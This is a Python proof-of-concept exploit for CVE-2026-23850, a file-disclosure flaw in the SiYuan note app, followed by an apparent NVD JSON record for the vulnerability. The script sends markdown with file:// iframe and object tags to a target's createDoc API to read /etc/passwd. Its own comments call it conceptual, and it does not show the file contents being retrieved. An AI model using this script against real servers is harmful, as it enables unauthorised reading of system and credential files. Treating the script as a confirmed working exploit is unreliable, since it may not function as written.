CVE-2026-23850

import requests # CVE-2026-23850 PoC - SiYuan Local File Disclosure # Target: SiYuan < 3.5.4 def exploit_siyuan_lfd(target_url, file_path): """ Exploit for CVE-2026-23850 This PoC demonstrates how an attacker can read arbitrary files through the markdown HTML rendering feature. """ # Malicious markdown payload that triggers file reading # The exact payload depends on the specific attack vector payload = f''' <iframe src="file://{file_path}"></iframe> <object data="file://{file_path}"></object> ''' # API endpoint for creating/updating documents api_endpoint = f"{target_url}/api/filetree/createDoc" headers = { "Content-Type": "application/json", # Add authentication headers if needed } data = { "path": "/temp/cve-2026-23850", "markdown": payload, "title": "CVE-2026-23850 Test" } try: response = requests.post(api_endpoint, json=data, headers=headers) print(f"[*] Request sent to {api_endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except Exception as e: print(f"[!] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-siyan-instance:8126" # Target file to read (Linux example) file_to_read = "/etc/passwd" exploit_siyuan_lfd(target, file_to_read) # Note: This is a conceptual PoC. Actual exploitation may require # different payloads and endpoints based on the specific version # and configuration of the target SiYuan instance.

{"cve": {"id": "CVE-2026-23850", "sourceIdentifier": "[email protected]", "published": "2026-01-19T20:15:49.533", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. In versions prior to 3.5.4, the markdown feature allows unrestricted server side html-rendering which allows arbitrary file read (LFD). Version 3.5.4 fixes the issue."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. En versiones anteriores a la 3.5.4, la característica de markdown permite la renderización HTML sin restricciones del lado del servidor, lo que permite la lectura arbitraria de archivos (LFD). La versión 3.5.4 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.4", "matchCriteriaId": "D3F308D6-1396-4488-9382-0EE485C9289C"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/issues/16860", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}